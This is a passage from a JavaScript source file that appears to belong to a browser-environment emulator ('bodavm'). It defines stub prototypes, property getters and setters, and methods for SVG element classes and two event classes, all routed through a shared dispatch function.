bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onsubmit_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "onsuspend", {configurable:true, enumerable:true, get:function onsuspend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onsuspend_get", arguments)}, set:function onsuspend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onsuspend_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "ontimeupdate", {configurable:true, enumerable:true, get:function ontimeupdate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "ontimeupdate_get", arguments)}, set:function ontimeupdate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "ontimeupdate_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "ontoggle", {configurable:true, enumerable:true, get:function ontoggle (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "ontoggle_get", arguments)}, set:function ontoggle (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "ontoggle_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "onvolumechange", {configurable:true, enumerable:true, get:function onvolumechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onvolumechange_get", arguments)}, set:function onvolumechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onvolumechange_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "onwaiting", {configurable:true, enumerable:true, get:function onwaiting (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onwaiting_get", arguments)}, set:function onwaiting (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onwaiting_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "onwebkitanimationend", {configurable:true, enumerable:true, get:function onwebkitanimationend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onwebkitanimationend_get", arguments)}, set:function onwebkitanimationend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onwebkitanimationend_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "onwebkitanimationiteration", {configurable:true, enumerable:true, get:function onwebkitanimationiteration (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onwebkitanimationiteration_get", arguments)}, set:function onwebkitanimationiteration (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onwebkitanimationiteration_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "onwebkitanimationstart", {configurable:true, enumerable:true, get:function onwebkitanimationstart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onwebkitanimationstart_get", arguments)}, set:function onwebkitanimationstart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onwebkitanimationstart_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "onwebkittransitionend", {configurable:true, enumerable:true, get:function onwebkittransitionend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onwebkittransitionend_get", arguments)}, set:function onwebkittransitionend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onwebkittransitionend_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "onwheel", {configurable:true, enumerable:true, get:function onwheel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onwheel_get", arguments)}, set:function onwheel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onwheel_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "onauxclick", {configurable:true, enumerable:true, get:function onauxclick (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onauxclick_get", arguments)}, set:function onauxclick (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onauxclick_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "ongotpointercapture", {configurable:true, enumerable:true, get:function ongotpointercapture (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "ongotpointercapture_get", arguments)}, set:function ongotpointercapture (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "ongotpointercapture_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "onlostpointercapture", {configurable:true, enumerable:true, get:function onlostpointercapture (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onlostpointercapture_get", arguments)}, set:function onlostpointercapture (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onlostpointercapture_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "onpointerdown", {configurable:true, enumerable:true, get:function onpointerdown (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onpointerdown_get", arguments)}, set:function onpointerdown (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onpointerdown_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "onpointermove", {configurable:true, enumerable:true, get:function onpointermove (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onpointermove_get", arguments)}, set:function onpointermove (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onpointermove_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "onpointerrawupdate", {configurable:true, enumerable:true, get:function onpointerrawupdate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onpointerrawupdate_get", arguments)}, set:function onpointerrawupdate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onpointerrawupdate_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "onpointerup", {configurable:true, enumerable:true, get:function onpointerup (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onpointerup_get", arguments)}, set:function onpointerup (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onpointerup_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "onpointercancel", {configurable:true, enumerable:true, get:function onpointercancel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onpointercancel_get", arguments)}, set:function onpointercancel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onpointercancel_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "onpointerover", {configurable:true, enumerable:true, get:function onpointerover (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onpointerover_get", arguments)}, set:function onpointerover (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onpointerover_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "onpointerout", {configurable:true, enumerable:true, get:function onpointerout (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onpointerout_get", arguments)}, set:function onpointerout (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onpointerout_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "onpointerenter", {configurable:true, enumerable:true, get:function onpointerenter (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onpointerenter_get", arguments)}, set:function onpointerenter (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onpointerenter_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "onpointerleave", {configurable:true, enumerable:true, get:function onpointerleave (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onpointerleave_get", arguments)}, set:function onpointerleave (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onpointerleave_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "onselectstart", {configurable:true, enumerable:true, get:function onselectstart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onselectstart_get", arguments)}, set:function onselectstart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onselectstart_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "onselectionchange", {configurable:true, enumerable:true, get:function onselectionchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onselectionchange_get", arguments)}, set:function onselectionchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onselectionchange_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "onanimationend", {configurable:true, enumerable:true, get:function onanimationend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onanimationend_get", arguments)}, set:function onanimationend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onanimationend_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "onanimationiteration", {configurable:true, enumerable:true, get:function onanimationiteration (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onanimationiteration_get", arguments)}, set:function onanimationiteration (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onanimationiteration_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "onanimationstart", {configurable:true, enumerable:true, get:function onanimationstart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onanimationstart_get", arguments)}, set:function onanimationstart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onanimationstart_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "ontransitionrun", {configurable:true, enumerable:true, get:function ontransitionrun (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "ontransitionrun_get", arguments)}, set:function ontransitionrun (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "ontransitionrun_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "ontransitionstart", {configurable:true, enumerable:true, get:function ontransitionstart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "ontransitionstart_get", arguments)}, set:function ontransitionstart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "ontransitionstart_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "ontransitionend", {configurable:true, enumerable:true, get:function ontransitionend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "ontransitionend_get", arguments)}, set:function ontransitionend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "ontransitionend_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "ontransitioncancel", {configurable:true, enumerable:true, get:function ontransitioncancel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "ontransitioncancel_get", arguments)}, set:function ontransitioncancel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "ontransitioncancel_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "oncopy", {configurable:true, enumerable:true, get:function oncopy (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "oncopy_get", arguments)}, set:function oncopy (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "oncopy_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "oncut", {configurable:true, enumerable:true, get:function oncut (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "oncut_get", arguments)}, set:function oncut (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "oncut_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "onpaste", {configurable:true, enumerable:true, get:function onpaste (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onpaste_get", arguments)}, set:function onpaste (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onpaste_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "dataset", {configurable:true, enumerable:true, get:function dataset (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "dataset_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "nonce", {configurable:true, enumerable:true, get:function nonce (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "nonce_get", arguments)}, set:function nonce (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "nonce_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "autofocus", {configurable:true, enumerable:true, get:function autofocus (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "autofocus_get", arguments)}, set:function autofocus (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "autofocus_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "tabIndex", {configurable:true, enumerable:true, get:function tabIndex (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "tabIndex_get", arguments)}, set:function tabIndex (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "tabIndex_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "style", {configurable:true, enumerable:true, get:function style (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "style_get", arguments)}, set:function style (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "style_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "attributeStyleMap", {configurable:true, enumerable:true, get:function attributeStyleMap (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "attributeStyleMap_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "blur", {configurable:true, enumerable:true, writable:true, value:function blur (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "blur", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "focus", {configurable:true, enumerable:true, writable:true, value:function focus (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "focus", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "oncontentvisibilityautostatechange", {configurable:true, enumerable:true, get:function oncontentvisibilityautostatechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "oncontentvisibilityautostatechange_get", arguments)}, set:function oncontentvisibilityautostatechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "oncontentvisibilityautostatechange_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "onbeforematch", {configurable:true, enumerable:true, get:function onbeforematch (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onbeforematch_get", arguments)}, set:function onbeforematch (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onbeforematch_set", arguments)}},'prototype'); - -// DeviceOrientationEvent对象 -bodavm.memory.globalobj['DeviceOrientationEvent'] = function DeviceOrientationEvent(){if (!(this instanceof DeviceOrientationEvent)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'DeviceOrientationEvent': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['DeviceOrientationEvent'], "DeviceOrientationEvent"); -bodavm.memory.globalobj['DeviceOrientationEvent'].prototype.__proto__=bodavm.memory.globalobj['Event'].prototype; -bodavm.memory.globalobj['DeviceOrientationEvent'].__proto__=bodavm.memory.globalobj['Event']; -bodavm.toolsFunc.defineProperty('DeviceOrientationEvent', "alpha", {configurable:true, enumerable:true, get:function alpha (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DeviceOrientationEvent'].prototype, "DeviceOrientationEvent", "alpha_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('DeviceOrientationEvent', "beta", {configurable:true, enumerable:true, get:function beta (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DeviceOrientationEvent'].prototype, "DeviceOrientationEvent", "beta_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('DeviceOrientationEvent', "gamma", {configurable:true, enumerable:true, get:function gamma (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DeviceOrientationEvent'].prototype, "DeviceOrientationEvent", "gamma_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('DeviceOrientationEvent', "absolute", {configurable:true, enumerable:true, get:function absolute (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DeviceOrientationEvent'].prototype, "DeviceOrientationEvent", "absolute_get", arguments)}, set:undefined},'prototype'); - -// PresentationConnectionCloseEvent对象 -bodavm.memory.globalobj['PresentationConnectionCloseEvent'] = function PresentationConnectionCloseEvent(){if (!(this instanceof PresentationConnectionCloseEvent)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'PresentationConnectionCloseEvent': 2 arguments required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['PresentationConnectionCloseEvent'], "PresentationConnectionCloseEvent"); -bodavm.memory.globalobj['PresentationConnectionCloseEvent'].prototype.__proto__=bodavm.memory.globalobj['Event'].prototype; -bodavm.memory.globalobj['PresentationConnectionCloseEvent'].__proto__=bodavm.memory.globalobj['Event']; -bodavm.toolsFunc.defineProperty('PresentationConnectionCloseEvent', "reason", {configurable:true, enumerable:true, get:function reason (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PresentationConnectionCloseEvent'].prototype, "PresentationConnectionCloseEvent", "reason_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PresentationConnectionCloseEvent', "message", {configurable:true, enumerable:true, get:function message (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PresentationConnectionCloseEvent'].prototype, "PresentationConnectionCloseEvent", "message_get", arguments)}, set:undefined},'prototype'); - -// SVGGraphicsElement对象 -bodavm.memory.globalobj['SVGGraphicsElement'] = function SVGGraphicsElement(){if (!(this instanceof SVGGraphicsElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGGraphicsElement'], "SVGGraphicsElement"); -bodavm.memory.globalobj['SVGGraphicsElement'].prototype.__proto__=bodavm.memory.globalobj['SVGElement'].prototype; -bodavm.memory.globalobj['SVGGraphicsElement'].__proto__=bodavm.memory.globalobj['SVGElement']; -bodavm.toolsFunc.defineProperty('SVGGraphicsElement', "transform", {configurable:true, enumerable:true, get:function transform (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGGraphicsElement'].prototype, "SVGGraphicsElement", "transform_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGGraphicsElement', "nearestViewportElement", {configurable:true, enumerable:true, get:function nearestViewportElement (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGGraphicsElement'].prototype, "SVGGraphicsElement", "nearestViewportElement_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGGraphicsElement', "farthestViewportElement", {configurable:true, enumerable:true, get:function farthestViewportElement (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGGraphicsElement'].prototype, "SVGGraphicsElement", "farthestViewportElement_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGGraphicsElement', "requiredExtensions", {configurable:true, enumerable:true, get:function requiredExtensions (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGGraphicsElement'].prototype, "SVGGraphicsElement", "requiredExtensions_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGGraphicsElement', "systemLanguage", {configurable:true, enumerable:true, get:function systemLanguage (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGGraphicsElement'].prototype, "SVGGraphicsElement", "systemLanguage_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGGraphicsElement', "getBBox", {configurable:true, enumerable:true, writable:true, value:function getBBox (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGGraphicsElement'].prototype, "SVGGraphicsElement", "getBBox", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGGraphicsElement', "getCTM", {configurable:true, enumerable:true, writable:true, value:function getCTM (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGGraphicsElement'].prototype, "SVGGraphicsElement", "getCTM", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGGraphicsElement', "getScreenCTM", {configurable:true, enumerable:true, writable:true, value:function getScreenCTM (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGGraphicsElement'].prototype, "SVGGraphicsElement", "getScreenCTM", arguments)}},'prototype'); - -// SVGGElement对象 -bodavm.memory.globalobj['SVGGElement'] = function SVGGElement(){if (!(this instanceof SVGGElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGGElement'], "SVGGElement"); -bodavm.memory.globalobj['SVGGElement'].prototype.__proto__=bodavm.memory.globalobj['SVGGraphicsElement'].prototype; -bodavm.memory.globalobj['SVGGElement'].__proto__=bodavm.memory.globalobj['SVGGraphicsElement']; - -// SVGPatternElement对象 -bodavm.memory.globalobj['SVGPatternElement'] = function SVGPatternElement(){if (!(this instanceof SVGPatternElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGPatternElement'], "SVGPatternElement"); -bodavm.memory.globalobj['SVGPatternElement'].prototype.__proto__=bodavm.memory.globalobj['SVGElement'].prototype; -bodavm.memory.globalobj['SVGPatternElement'].__proto__=bodavm.memory.globalobj['SVGElement']; -bodavm.toolsFunc.defineProperty('SVGPatternElement', "patternUnits", {configurable:true, enumerable:true, get:function patternUnits (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGPatternElement'].prototype, "SVGPatternElement", "patternUnits_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGPatternElement', "patternContentUnits", {configurable:true, enumerable:true, get:function patternContentUnits (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGPatternElement'].prototype, "SVGPatternElement", "patternContentUnits_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGPatternElement', "patternTransform", {configurable:true, enumerable:true, get:function patternTransform (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGPatternElement'].prototype, "SVGPatternElement", "patternTransform_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGPatternElement', "x", {configurable:true, enumerable:true, get:function x (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGPatternElement'].prototype, "SVGPatternElement", "x_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGPatternElement', "y", {configurable:true, enumerable:true, get:function y (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGPatternElement'].prototype, "SVGPatternElement", "y_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGPatternElement', "width", {configurable:true, enumerable:true, get:function width (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGPatternElement'].prototype, "SVGPatternElement", "width_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGPatternElement', "height", {configurable:true, enumerable:true, get:function height (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGPatternElement'].prototype, "SVGPatternElement", "height_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGPatternElement', "viewBox", {configurable:true, enumerable:true, get:function viewBox (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGPatternElement'].prototype, "SVGPatternElement", "viewBox_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGPatternElement', "preserveAspectRatio", {configurable:true, enumerable:true, get:function preserveAspectRatio (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGPatternElement'].prototype, "SVGPatternElement", "preserveAspectRatio_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGPatternElement', "href", {configurable:true, enumerable:true, get:function href (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGPatternElement'].prototype, "SVGPatternElement", "href_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGPatternElement', "requiredExtensions", {configurable:true, enumerable:true, get:function requiredExtensions (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGPatternElement'].prototype, "SVGPatternElement", "requiredExtensions_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGPatternElement', "systemLanguage", {configurable:true, enumerable:true, get:function systemLanguage (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGPatternElement'].prototype, "SVGPatternElement", "systemLanguage_get", arguments)}, set:undefined},'prototype'); - -// SVGGeometryElement对象 -bodavm.memory.globalobj['SVGGeometryElement'] = function SVGGeometryElement(){if (!(this instanceof SVGGeometryElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGGeometryElement'], "SVGGeometryElement"); -bodavm.memory.globalobj['SVGGeometryElement'].prototype.__proto__=bodavm.memory.globalobj['SVGGraphicsElement'].prototype; -bodavm.memory.globalobj['SVGGeometryElement'].__proto__=bodavm.memory.globalobj['SVGGraphicsElement']; -bodavm.toolsFunc.defineProperty('SVGGeometryElement', "pathLength", {configurable:true, enumerable:true, get:function pathLength (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGGeometryElement'].prototype, "SVGGeometryElement", "pathLength_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGGeometryElement', "getPointAtLength", {configurable:true, enumerable:true, writable:true, value:function getPointAtLength (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGGeometryElement'].prototype, "SVGGeometryElement", "getPointAtLength", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGGeometryElement', "getTotalLength", {configurable:true, enumerable:true, writable:true, value:function getTotalLength (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGGeometryElement'].prototype, "SVGGeometryElement", "getTotalLength", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGGeometryElement', 